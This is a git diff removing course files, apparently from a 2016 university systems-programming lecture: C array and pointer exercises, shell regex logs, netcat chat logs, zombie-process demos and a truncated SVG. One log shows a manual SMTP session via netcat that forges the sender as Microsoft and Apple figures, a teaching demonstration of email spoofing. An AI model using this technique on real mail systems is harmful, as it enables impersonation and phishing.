@@ -#!/bin/bash -ls -l diff --git a/20161013/test-2.txt b/20161013/test-2.txt deleted file mode 120000 index 541cb64f9b85000af670c5b925fa216ac6f98291..0000000000000000000000000000000000000000 --- a/20161013/test-2.txt +++ /dev/null @@ -1 +0,0 @@ -test.txt \ No newline at end of file diff --git a/20161013/test-3.bc b/20161013/test-3.bc deleted file mode 100755 index 89da795394dc1d0d77ce2a98b801b804e9ecdf5f..0000000000000000000000000000000000000000 --- a/20161013/test-3.bc +++ /dev/null @@ -1,5 +0,0 @@ -#!/usr/bin/bc -1 + 1 -2 + 2 -2^128 -quit diff --git a/20161013/test-3.txt b/20161013/test-3.txt deleted file mode 100644 index 4b4b82bcfe3247fd2d31b3d291e6bbbe9176fa96..0000000000000000000000000000000000000000 --- a/20161013/test-3.txt +++ /dev/null @@ -1,9 +0,0 @@ -Dies ist ein Test. -Was ist das? -Ein Test. - -Dies ist ein Test. -Was ist das? -Was ist das? -Ein Test. -Ein Test. diff --git a/20161013/test-4.txt b/20161013/test-4.txt deleted file mode 100644 index 4b4b82bcfe3247fd2d31b3d291e6bbbe9176fa96..0000000000000000000000000000000000000000 --- a/20161013/test-4.txt +++ /dev/null @@ -1,9 +0,0 @@ -Dies ist ein Test. -Was ist das? -Ein Test. - -Dies ist ein Test. -Was ist das? -Was ist das? -Ein Test. -Ein Test. diff --git a/20161013/test-5.txt b/20161013/test-5.txt deleted file mode 100644 index 4783efb16610f4b25eb98e299dc6fda56b42de0a..0000000000000000000000000000000000000000 --- a/20161013/test-5.txt +++ /dev/null @@ -1,2 +0,0 @@ -Hello, world! -Praktisch. :-) diff --git a/20161013/test.bc b/20161013/test.bc deleted file mode 100644 index a922b775b5315bf2bc04d96cbdaba8d32c911404..0000000000000000000000000000000000000000 --- a/20161013/test.bc +++ /dev/null @@ -1 +0,0 @@ -2 + 2 diff --git a/20161020/arrays-1.c b/20161020/arrays-1.c deleted file mode 100644 index 6e789005949050ecc228502b51458cef64754d66..0000000000000000000000000000000000000000 --- a/20161020/arrays-1.c +++ /dev/null @@ -1,9 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - int hello[] = { 84, 101, 115, 116, 0 }; - for (int i = 0; hello[i]; i++) - printf ("%d\n", hello[i]); - return 0; -} diff --git a/20161020/arrays-13.c b/20161020/arrays-13.c deleted file mode 100644 index b279c2c7fc6dd72387bf2e134ee3d4201d77b864..0000000000000000000000000000000000000000 --- a/20161020/arrays-13.c +++ /dev/null @@ -1,14 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - char a[][5] = { "Dies", "ist", "ein", "Test" }; - - for (int i = 0; i < 4; i++) - { - for (int j = 0; a[i][j]; j++) - printf ("%c", a[i][j]); - printf ("\n"); - } - return 0; -} diff --git a/20161020/arrays-14.c b/20161020/arrays-14.c deleted file mode 100644 index 67e15b0644ccbf1f49a55ea08fc5beb6c701d914..0000000000000000000000000000000000000000 --- a/20161020/arrays-14.c +++ /dev/null @@ -1,14 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - char a[][] = { "Dies", "ist", "ein", "Test" }; - - for (int i = 0; i < 4; i++) - { - for (int j = 0; a[i][j]; j++) - printf ("%c", a[i][j]); - printf ("\n"); - } - return 0; -} diff --git a/20161020/arrays-15.c b/20161020/arrays-15.c deleted file mode 100644 index dca22529246a634b8fafd323b0e055ecd8cde510..0000000000000000000000000000000000000000 --- a/20161020/arrays-15.c +++ /dev/null @@ -1,15 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - char a[][5] = { "Dies", "ist", "ein", "Test" }; - char **p = a; - - for (int i = 0; i < 4; i++) - { - for (int j = 0; p[i][j]; j++) - printf ("%c", p[i][j]); - printf ("\n"); - } - return 0; -} diff --git a/20161020/arrays-16.c b/20161020/arrays-16.c deleted file mode 100644 index 299de329caa832ae339531976635fcc18819f4ae..0000000000000000000000000000000000000000 --- a/20161020/arrays-16.c +++ /dev/null @@ -1,15 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - char a[][5] = { "Dies", "ist", "ein", "Test" }; - char *p = a[0]; - - for (int i = 0; i < 4; i++) - { - for (int j = 0; p[i][j]; j++) - printf ("%c", p[i][j]); - printf ("\n"); - } - return 0; -} diff --git a/20161020/arrays-17.c b/20161020/arrays-17.c deleted file mode 100644 index 737fdb9fb62ab71b224861f0a955c75fad921686..0000000000000000000000000000000000000000 --- a/20161020/arrays-17.c +++ /dev/null @@ -1,15 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - char a[][5] = { "Dies", "ist", "ein", "Test" }; - char *p = a[0]; - - for (int i = 0; i < 4; i++) - { - for (int j = 0; p[i]; j++) - printf ("%c", p[j]); - printf ("\n"); - } - return 0; -} diff --git a/20161020/arrays-18.c b/20161020/arrays-18.c deleted file mode 100644 index 76e69b017f2340f0619915301f7d8f84c3ec6a87..0000000000000000000000000000000000000000 --- a/20161020/arrays-18.c +++ /dev/null @@ -1,15 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - char a[][5] = { "Dies", "ist", "ein", "Test" }; - char *p = a[0]; - - for (int i = 0; i < 4; i++) - { - for (int j = 0; p[j]; j++) - printf ("%c", p[j]); - printf ("\n"); - } - return 0; -} diff --git a/20161020/arrays-19.c b/20161020/arrays-19.c deleted file mode 100644 index 806d97186992422d30734804988313add3295841..0000000000000000000000000000000000000000 --- a/20161020/arrays-19.c +++ /dev/null @@ -1,16 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - char a[][5] = { "Dies", "ist", "ein", "Test" }; - char *p; - - for (int i = 0; i < 4; i++) - { - p = a[i]; - for (int j = 0; p[j]; j++) - printf ("%c", p[j]); - printf ("\n"); - } - return 0; -} diff --git a/20161020/arrays-2.c b/20161020/arrays-2.c deleted file mode 100644 index 72e548bcaa5525cc510558e6e5e342132034fa01..0000000000000000000000000000000000000000 --- a/20161020/arrays-2.c +++ /dev/null @@ -1,9 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - int hello[] = { 84, 101, 115, 116, 0 }; - for (int i = 0; hello[i]; i++) - printf ("%c\n", hello[i]); - return 0; -} diff --git a/20161020/arrays-20.c b/20161020/arrays-20.c deleted file mode 100644 index ac7237126792505a10481ceffddfeb24fc6773e4..0000000000000000000000000000000000000000 --- a/20161020/arrays-20.c +++ /dev/null @@ -1,16 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - char a[][5] = { "Dies", "ist", "ein", "Test" }; - char *p = a[0]; - - for (int i = 0; i < 4; i++) - { - for (int j = 0; p[j]; j++) - printf ("%c", p[j]); - printf ("\n"); - p++; - } - return 0; -} diff --git a/20161020/arrays-21.c b/20161020/arrays-21.c deleted file mode 100644 index 935ba0b5ce0427a13adf76725f4ab9bab1215d6f..0000000000000000000000000000000000000000 --- a/20161020/arrays-21.c +++ /dev/null @@ -1,16 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - char a[][5] = { "Dies", "ist", "ein", "Test" }; - char *p = a[0]; - - for (int i = 0; i < 4; i++) - { - for (int j = 0; p[j]; j++) - printf ("%c", p[j]); - printf ("\n"); - p += 5; - } - return 0; -} diff --git a/20161020/arrays-22.c b/20161020/arrays-22.c deleted file mode 100644 index 8af94c288811b9d1b9ff7f4038a722c776539b48..0000000000000000000000000000000000000000 --- a/20161020/arrays-22.c +++ /dev/null @@ -1,17 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - typedef char string5[5]; - string5 a[] = { "Dies", "ist", "ein", "Test" }; - string5 *p = a; - - for (int i = 0; i < 4; i++) - { - for (int j = 0; p[j]; j++) - printf ("%c", p[j]); - printf ("\n"); - p++; - } - return 0; -} diff --git a/20161020/arrays-23.c b/20161020/arrays-23.c deleted file mode 100644 index 910e7249ed4de51e621247118ccafa0edfe8bb65..0000000000000000000000000000000000000000 --- a/20161020/arrays-23.c +++ /dev/null @@ -1,17 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - typedef char string5[5]; - string5 a[] = { "Dies", "ist", "ein", "Test" }; - string5 *p = a; - - for (int i = 0; i < 4; i++) - { - for (int j = 0; (*p)[j]; j++) - printf ("%c", (*p)[j]); - printf ("\n"); - p++; - } - return 0; -} diff --git a/20161020/arrays-24.c b/20161020/arrays-24.c deleted file mode 100644 index 43d6c94c65e391430f81ea01192403aa21342db5..0000000000000000000000000000000000000000 --- a/20161020/arrays-24.c +++ /dev/null @@ -1,15 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - typedef char string5[5]; - string5 a[] = { "Dies", "ist", "ein", "Test" }; - string5 *p = a; - - for (int i = 0; i < 4; i++) - { - printf ("%s\n", (*p)[i]); - p++; - } - return 0; -} diff --git a/20161020/arrays-25.c b/20161020/arrays-25.c deleted file mode 100644 index 357024857ec02f66df155c6bb70c192a7f718f71..0000000000000000000000000000000000000000 --- a/20161020/arrays-25.c +++ /dev/null @@ -1,15 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - typedef char string5[5]; - string5 a[] = { "Dies", "ist", "ein", "Test" }; - string5 *p = a; - - for (int i = 0; i < 4; i++) - { - printf ("%s\n", &((*p)[i])); - p++; - } - return 0; -} diff --git a/20161020/arrays-26.c b/20161020/arrays-26.c deleted file mode 100644 index 9a6d4eb28d0e45932dbc7d9db0ef5dfd0789f721..0000000000000000000000000000000000000000 --- a/20161020/arrays-26.c +++ /dev/null @@ -1,15 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - typedef char string5[5]; - string5 a[] = { "Dies", "ist", "ein", "Test" }; - string5 *p = a; - - for (int i = 0; i < 5; i++) - { - printf ("%s\n", &((*p)[i])); - p++; - } - return 0; -} diff --git a/20161020/arrays-27.c b/20161020/arrays-27.c deleted file mode 100644 index 8253b70733c00170f9665b8d6c55c334ec08dd4f..0000000000000000000000000000000000000000 --- a/20161020/arrays-27.c +++ /dev/null @@ -1,15 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - typedef char string5[5]; - string5 a[] = { "Dies", "ist", "ein", "Test" }; - string5 *p = a; - - for (int i = 0; i < 4; i++) - { - printf ("%s\n", &(*p)); - p++; - } - return 0; -} diff --git a/20161020/arrays-28.c b/20161020/arrays-28.c deleted file mode 100644 index 8d76a2a53ffb99efcb6595f76124566d4df45501..0000000000000000000000000000000000000000 --- a/20161020/arrays-28.c +++ /dev/null @@ -1,15 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - typedef char string5[5]; - string5 a[] = { "Dies", "ist", "ein", "Test" }; - string5 *p = a; - - for (int i = 0; i < 4; i++) - { - printf ("%s\n", &(*p)[0]); - p++; - } - return 0; -} diff --git a/20161020/arrays-29.c b/20161020/arrays-29.c deleted file mode 100644 index 292fc4169287f8335b02094f5ef3bfb689fba1fd..0000000000000000000000000000000000000000 --- a/20161020/arrays-29.c +++ /dev/null @@ -1,14 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - typedef char string5[5]; - string5 *p = { "Dies", "ist", "ein", "Test" }; - - for (int i = 0; i < 4; i++) - { - printf ("%s\n", &(*p)[0]); - p++; - } - return 0; -} diff --git a/20161020/arrays-3.c b/20161020/arrays-3.c deleted file mode 100644 index 93aef3d7ff7e0e0a2271296c8cb49417587e1f7b..0000000000000000000000000000000000000000 --- a/20161020/arrays-3.c +++ /dev/null @@ -1,10 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - int hello[] = { 84, 101, 115, 116, 0 }; - for (int i = 0; hello[i]; i++) - printf ("%c", hello[i]); - printf ("\n"); - return 0; -} diff --git a/20161020/arrays-4.c b/20161020/arrays-4.c deleted file mode 100644 index 01dbb8280710a3a50560194c19b089476d13ac54..0000000000000000000000000000000000000000 --- a/20161020/arrays-4.c +++ /dev/null @@ -1,10 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - int hello[] = "Test"; - for (int i = 0; hello[i]; i++) - printf ("%c", hello[i]); - printf ("\n"); - return 0; -} diff --git a/20161020/arrays-5.c b/20161020/arrays-5.c deleted file mode 100644 index 8f708c1ea911c39400cdb56b593000cb3499eb1e..0000000000000000000000000000000000000000 --- a/20161020/arrays-5.c +++ /dev/null @@ -1,10 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - char hello[] = "Test"; - for (int i = 0; hello[i]; i++) - printf ("%c", hello[i]); - printf ("\n"); - return 0; -} diff --git a/20161020/arrays-6.c b/20161020/arrays-6.c deleted file mode 100644 index d67c2ff17a3835c7b56a853cb84ff139bba5b41d..0000000000000000000000000000000000000000 --- a/20161020/arrays-6.c +++ /dev/null @@ -1,10 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - char *hello = "Test"; - for (int i = 0; hello[i]; i++) - printf ("%c", hello[i]); - printf ("\n"); - return 0; -} diff --git a/20161020/arrays-7.c b/20161020/arrays-7.c deleted file mode 100644 index c31665a05b04b07847f722043097dc58120e5573..0000000000000000000000000000000000000000 --- a/20161020/arrays-7.c +++ /dev/null @@ -1,17 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - char a[] = "Test"; - char *p = "Test"; - - for (int i = 0; a[i]; i++) - printf ("%c", a[i]); - printf ("\n"); - - for (int i = 0; p[i]; i++) - printf ("%c", p[i]); - printf ("\n"); - - return 0; -} diff --git a/20161020/arrays-8.c b/20161020/arrays-8.c deleted file mode 100644 index c2e2e906e913415078dc35d20c13ae47eb444b74..0000000000000000000000000000000000000000 --- a/20161020/arrays-8.c +++ /dev/null @@ -1,19 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - char a[] = "Test"; - char *p = "Test"; - - p = "Hallo"; - - for (int i = 0; a[i]; i++) - printf ("%c", a[i]); - printf ("\n"); - - for (int i = 0; p[i]; i++) - printf ("%c", p[i]); - printf ("\n"); - - return 0; -} diff --git a/20161020/arrays-9.c b/20161020/arrays-9.c deleted file mode 100644 index e39055aa246282bffc3dc41216c5f1d375cf5950..0000000000000000000000000000000000000000 --- a/20161020/arrays-9.c +++ /dev/null @@ -1,19 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - char a[] = "Test"; - char *p = "Test"; - - a = "Hallo"; - - for (int i = 0; a[i]; i++) - printf ("%c", a[i]); - printf ("\n"); - - for (int i = 0; p[i]; i++) - printf ("%c", p[i]); - printf ("\n"); - - return 0; -} diff --git a/20161020/photo-20161020-144921.jpg b/20161020/photo-20161020-144921.jpg deleted file mode 100644 index 8ac1314c1730651b300cb27562946d1e28e6d4bf..0000000000000000000000000000000000000000 Binary files a/20161020/photo-20161020-144921.jpg and /dev/null differ diff --git a/20161020/regular-expressions.log b/20161020/regular-expressions.log deleted file mode 100644 index d8db10f9fc56db995452b33548942eb983309fa9..0000000000000000000000000000000000000000 --- a/20161020/regular-expressions.log +++ /dev/null @@ -1,29 +0,0 @@ -cassini/home/peter/bo/2016ws/es/20161020> echo "Hello, world!" | grep "^H[aeiou]" -Hello, world! -cassini/home/peter/bo/2016ws/es/20161020> echo "HEllo, world!" | grep "^H[aeiou]" -cassini/home/peter/bo/2016ws/es/20161020> echo "Hxllo, world!" | grep "^H[aeiou]" -cassini/home/peter/bo/2016ws/es/20161020> echo "Hxllo, world!" | grep "^H[^xyz]" -cassini/home/peter/bo/2016ws/es/20161020> echo "Hello, world!" | grep "^H[^xyz]" -Hello, world! -cassini/home/peter/bo/2016ws/es/20161020> cat xkcd.sh -#!/bin/sh -echo -n "http:" -curl -s http://xkcd.com \ - | grep "img src=" \ - | grep -v "terrible_small_logo" \ - | grep -v "Selected Comics" \ - | sed -e 's/^[^"]*"//' \ - | sed -e 's/".*$//' -cassini/home/peter/bo/2016ws/es/20161020> echo "Hello, world!" | sed -e 's/ll/xx/' -Hexxo, world! -cassini/home/peter/bo/2016ws/es/20161020> echo "Hello, world!" | sed -e 's/ll//' -Heo, world! -cassini/home/peter/bo/2016ws/es/20161020> echo "Hello, world!" | sed -e 's/^ll//' -Hello, world! -cassini/home/peter/bo/2016ws/es/20161020> echo "Hello, world!" | sed -e 's/^.*ll//' -o, world! -cassini/home/peter/bo/2016ws/es/20161020> echo "Hello, world!" | sed -e 's/^[aeiou]*ll//' -Hello, world! -cassini/home/peter/bo/2016ws/es/20161020> echo "Hello, world!" | sed -e 's/^[Haeiou]*ll//' -o, world! -cassini/home/peter/bo/2016ws/es/20161020> diff --git a/20161020/xkcd.sh b/20161020/xkcd.sh deleted file mode 100755 index 1f3527422d2952ed52af749335fffe8a62ca6cfe..0000000000000000000000000000000000000000 --- a/20161020/xkcd.sh +++ /dev/null @@ -1,8 +0,0 @@ -#!/bin/sh -echo -n "http:" -curl -s http://xkcd.com \ - | grep "img src=" \ - | grep -v "terrible_small_logo" \ - | grep -v "Selected Comics" \ - | sed -e 's/^[^"]*"//' \ - | sed -e 's/".*$//' diff --git a/20161027/photo-20161027-111856.jpg b/20161027/photo-20161027-111856.jpg deleted file mode 100644 index 2ed69559e83f48717668f359babae845e83a9d61..0000000000000000000000000000000000000000 Binary files a/20161027/photo-20161027-111856.jpg and /dev/null differ diff --git a/20161027/photo-20161027-183901.jpg b/20161027/photo-20161027-183901.jpg deleted file mode 100644 index fd217d444deb561366b891b07322629683df98fd..0000000000000000000000000000000000000000 Binary files a/20161027/photo-20161027-183901.jpg and /dev/null differ diff --git a/20161027/smtp-20161027.log b/20161027/smtp-20161027.log deleted file mode 100644 index d5bab849b87044f577d9d8eda19af036d56d1dcd..0000000000000000000000000000000000000000 --- a/20161027/smtp-20161027.log +++ /dev/null @@ -1,27 +0,0 @@ -phoenix/home/peter> nc 88.198.170.60 25 -220 mx1.gerwinski.de ESMTP Exim 4.84_2 Thu, 27 Oct 2016 11:57:23 +0200 -HELO hs-bochum.de -250 mx1.gerwinski.de Hello office.g-n-u.de [82.207.128.254] -MAIL FROM: <gates@microsoft.com> -250 OK -RCPT TO: <peter@gerwinski.de> -550 Unrouteable address -RCPT TO: <peter@gerwinski.de> -250 Accepted -DATA -354 Enter message, ending with "." on a line by itself -Subject: Hi! B-) -From: Steve Jobs <jobs@apple.com> -To: Peter Gerwinski <gnu@gnu.de> - -Dies ist ein Test. - -Schöne Grüße - - Peter -. -250 OK id=1bzhSe-0008U6-H7 -QUIT -221 mx1.gerwinski.de closing connection -You might have new mail. -phoenix/home/peter> diff --git a/20161103/make-zombies-1.c b/20161103/make-zombies-1.c deleted file mode 100644 index 3626861d638c8ad6dc8c5c0831b9f5190e20a4dc..0000000000000000000000000000000000000000 --- a/20161103/make-zombies-1.c +++ /dev/null @@ -1,41 +0,0 @@ -#include <stdio.h> -#include <sys/wait.h> -#include <stdlib.h> -#include <unistd.h> - -int main(void){ - pid_t pids[10]; // Platz f�r 10 Prozess-IDs (die Kindprozesse) - int i; // Laufvariable - - for (i = 0; i < 10; ++i) { - // Der Vaterprozess erzeugt nun einen Kindprozess, - // welcher unabh�ngig vom Vaterprozess mit der - // erneuten Ausf�hrung des Programms beginnt. - // Ein Kindprozess erzeugt keinen Fork von sich selbst. - pids[i] = fork(); - if (pids[i] == 0) { - // dann befinden wir uns in einem der 10 Kindprozesse - // Der erste Kindprozess wartet 10 Sekunden und jeder - // weitere Kindprozess wartet 1 Sekunde k�rzer als der - // vorige. - printf ("%d BRAINS! ", i); - sleep(10-i); - exit(0); // Kindprozess erfolgreich beenden - } - } - -// - // hier kommt nur der Vaterprozess vorbei - for (i = 0; i < 10; ++i){ - // Der Vaterprozess wartet nun, bis der Reihe nach jeder - // seiner 10 Kindprozesse beendet ist. Leider wird auf das - // Kind mit der l�ngsten Wartezeit zuerst gewartet. Obwohl - // die anderen Kinder l�ngst erfolgreich beendet wurden, - // blockiert das erste Kind eine Bereinigung der Prozesstabelle - waitpid(pids[i], NULL, 0); - } -// - -// while (1); - return 0; // Vaterprozess erfolgreich beenden -} diff --git a/20161103/make-zombies-2.c b/20161103/make-zombies-2.c deleted file mode 100644 index d43b17e278e3df5c2373600753d6ac53d89f7af7..0000000000000000000000000000000000000000 --- a/20161103/make-zombies-2.c +++ /dev/null @@ -1,41 +0,0 @@ -#include <stdio.h> -#include <sys/wait.h> -#include <stdlib.h> -#include <unistd.h> - -int main(void){ - pid_t pids[10]; // Platz f�r 10 Prozess-IDs (die Kindprozesse) - int i; // Laufvariable - - for (i = 0; i < 10; ++i) { - // Der Vaterprozess erzeugt nun einen Kindprozess, - // welcher unabh�ngig vom Vaterprozess mit der - // erneuten Ausf�hrung des Programms beginnt. - // Ein Kindprozess erzeugt keinen Fork von sich selbst. - pids[i] = fork(); - if (pids[i] == 0) { - // dann befinden wir uns in einem der 10 Kindprozesse - // Der erste Kindprozess wartet 10 Sekunden und jeder - // weitere Kindprozess wartet 1 Sekunde k�rzer als der - // vorige. - printf ("%d BRAINS! ", i); - sleep(10-i); - exit(0); // Kindprozess erfolgreich beenden - } - } - -// -// // hier kommt nur der Vaterprozess vorbei -// for (i = 0; i < 10; ++i){ -// // Der Vaterprozess wartet nun, bis der Reihe nach jeder -// // seiner 10 Kindprozesse beendet ist. Leider wird auf das -// // Kind mit der l�ngsten Wartezeit zuerst gewartet. Obwohl -// // die anderen Kinder l�ngst erfolgreich beendet wurden, -// // blockiert das erste Kind eine Bereinigung der Prozesstabelle -// waitpid(pids[i], NULL, 0); -// } -// - -// while (1); - return 0; // Vaterprozess erfolgreich beenden -} diff --git a/20161103/make-zombies-3.c b/20161103/make-zombies-3.c deleted file mode 100644 index 82d671c075e1db7879e8b040f12a8543c0c7436a..0000000000000000000000000000000000000000 --- a/20161103/make-zombies-3.c +++ /dev/null @@ -1,41 +0,0 @@ -#include <stdio.h> -#include <sys/wait.h> -#include <stdlib.h> -#include <unistd.h> - -int main(void){ - pid_t pids[10]; // Platz f�r 10 Prozess-IDs (die Kindprozesse) - int i; // Laufvariable - - for (i = 0; i < 10; ++i) { - // Der Vaterprozess erzeugt nun einen Kindprozess, - // welcher unabh�ngig vom Vaterprozess mit der - // erneuten Ausf�hrung des Programms beginnt. - // Ein Kindprozess erzeugt keinen Fork von sich selbst. - pids[i] = fork(); - if (pids[i] == 0) { - // dann befinden wir uns in einem der 10 Kindprozesse - // Der erste Kindprozess wartet 10 Sekunden und jeder - // weitere Kindprozess wartet 1 Sekunde k�rzer als der - // vorige. - printf ("%d BRAINS! ", i); - sleep(10-i); - exit(0); // Kindprozess erfolgreich beenden - } - } - -// -// // hier kommt nur der Vaterprozess vorbei -// for (i = 0; i < 10; ++i){ -// // Der Vaterprozess wartet nun, bis der Reihe nach jeder -// // seiner 10 Kindprozesse beendet ist. Leider wird auf das -// // Kind mit der l�ngsten Wartezeit zuerst gewartet. Obwohl -// // die anderen Kinder l�ngst erfolgreich beendet wurden, -// // blockiert das erste Kind eine Bereinigung der Prozesstabelle -// waitpid(pids[i], NULL, 0); -// } -// - - while (1); -// return 0; // Vaterprozess erfolgreich beenden -} diff --git a/20161103/nc-1.log b/20161103/nc-1.log deleted file mode 100644 index 7a6f4f378d135ce0dbc0fe7453a1e8eee6f25e7e..0000000000000000000000000000000000000000 --- a/20161103/nc-1.log +++ /dev/null @@ -1,15 +0,0 @@ -cassini/home/peter/bo/2016ws/es/20161103> nc -l -p 1234 -hallo -Auch Hallo.moep - -moep? - -Welche IP? -Ach so - das kann ich ja nachgucken ... - -Sind Sie noch da? -Herr Hoang? - -Ja das bin ich -:D -cassini/home/peter/bo/2016ws/es/20161103> diff --git a/20161103/nc-2.log b/20161103/nc-2.log deleted file mode 100644 index dab7b96eac1a47549e036ee5e8e38e237540f51f..0000000000000000000000000000000000000000 --- a/20161103/nc-2.log +++ /dev/null @@ -1,21 +0,0 @@ -cassini/home/peter> nc -l -p 1235 -hallo -ich bins -Bill -cassini/home/peter> nc -l -p 1235# -Hallo? -Bill??? - -Ist test -da jemand? -JA. -Hallo. - -Htest -err Larraß? Sind Sie das? - -Ja -The cake is a lie - -^C -cassini/home/peter> diff --git a/20161103/photo-20161103-150203.jpg b/20161103/photo-20161103-150203.jpg deleted file mode 100644 index 85ec1bad8a904a3c646e5e73aea760e7bb1a9dd3..0000000000000000000000000000000000000000 Binary files a/20161103/photo-20161103-150203.jpg and /dev/null differ diff --git a/20161110/I2C_data_transfer.svg b/20161110/I2C_data_transfer.svg deleted file mode 100644 index 4dba5a7e2ac2388dd69e52c8da66667716ed66f8..0000000000000000000000000000000000000000 --- a/20161110/I2C_data_transfer.svg +++ /dev/null @@ -1,216 +0,0 @@ -<?xml version="1.0" encoding="UTF-8" standalone="no"?> -<!-- Created with Inkscape (http://www.inkscape.org/) --> -<svg - xmlns:svg="http://www.w3.org/2000/svg" - xmlns="http://www.w3.org/2000/svg" - version="1.0" - width="840" - height="140" - id="svg2"> - <defs - id="defs4" /> - <g - transform="translate(-416.4952,-467.9166)" - style="display:inline" - id="layer2"> - <rect - width="40" - height="95" - x="483.14081" - y="479.86218" - style="opacity:1;fill:#fc0;fill-opacity:0.78431373;stroke:none;stroke-width:0.5;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;display:inline" - id="rect3673" /> - <rect - width="40" - height="95" - x="588.14081" - y="479.86218" - style="opacity:1;fill:#3771c8;fill-opacity:0.78431373;stroke:none;stroke-width:0.5;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;display:inline" - id="rect8102" /> - <rect - width="40" - height="95" - x="648.14081" - y="479.86218" - style="opacity:1;fill:#aad400;fill-opacity:0.78431373;stroke:none;stroke-width:0.5;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;display:inline" - id="rect8104" /> - <rect - width="40" - height="95" - x="708.14081" - y="479.86218" - style="opacity:1;fill:#3771c8;fill-opacity:0.78431373;stroke:none;stroke-width:0.5;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;display:inline" - id="rect8991" /> - <rect - width="40" - height="95" - x="768.14081" - y="479.86218" - style="opacity:1;fill:#aad400;fill-opacity:0.78431373;stroke:none;stroke-width:0.5;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;display:inline" - id="rect9898" /> - <rect - width="40" - height="95" - x="1003.1408" - y="479.86218" - style="opacity:1;fill:#aad400;fill-opacity:0.78431373;stroke:none;stroke-width:0.5;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;display:inline" - id="rect12566" /> - <rect - width="40" - height="95" - x="1168.1409" - y="479.86218" - style="opacity:1;fill:#fc0;fill-opacity:0.78431373;stroke:none;stroke-width:0.5;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;display:inline" - id="rect14346" /> - <rect - width="40" - height="95" - x="828.14081" - y="479.86218" - style="opacity:1;fill:#3771c8;fill-opacity:0.78431373;stroke:none;stroke-width:0.5;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;display:inline" - id="rect14348" /> - <rect - width="40" - height="95" - x="943.14081" - y="479.86218" - style="opacity:1;fill:#3771c8;fill-opacity:0.78431373;stroke:none;stroke-width:0.5;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;display:inline" - id="rect14350" /> - <rect - width="40" - height="95" - x="1063.1409" - y="479.86218" - style="opacity:1;fill:#3771c8;fill-opacity:0.78431373;stroke:none;stroke-width:0.5;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;display:inline" - id="rect14352" /> - </g> - <g - transform="translate(-416.4952,-467.9166)" - style="opacity:1;display:inline" - id="layer1"> - <path - d="M 468.14082,489.86218 L 498.14082,489.86218 L 508.14082,514.86218 L 603.14082,514.86218 L 613.14082,489.86218 L 723.14082,489.86218 L 733.14082,514.86218 L 843.14082,514.86218 L 853.14082,489.86218 L 893.14082,489.86218" - style="fill:none;fill-rule:evenodd;stroke:black;stroke-width:2;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1" - id="path1872" /> - <path - d="M 468.14082,539.86218 L 572.89082,540.11218 L 583.14082,564.86218 L 633.14082,564.86218 L 643.39082,539.61218 L 693.39082,539.61218 L 703.39082,564.61218 L 753.39082,564.61218 L 763.39082,539.61218 L 813.39082,539.61218 L 823.14082,564.86218 L 873.14082,564.86218 L 883.14082,539.86218 L 893.14082,539.86218" - style="fill:none;fill-rule:evenodd;stroke:black;stroke-width:2;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1" - id="path2780" /> - <path - d="M 468.14082,489.86218 L 443.14082,489.86218" - style="fill:none;fill-rule:evenodd;stroke:black;stroke-width:2;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:6, 2;stroke-dashoffset:0;stroke-opacity:1" - id="path2782" /> - <path - d="M 608.57609,500.90013 L 613.57609,515.90013 L 723.14082,514.86218 C 733.14082,489.86218 733.14082,489.86218 733.14082,489.86218 L 843.14082,489.86218 L 853.14082,514.86218 L 893.14082,514.86218" - style="fill:none;fill-rule:evenodd;stroke:black;stroke-width:2;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1" - id="path9011" /> - <path - d="M 892.20309,514.86218 L 918.90804,514.86218" - 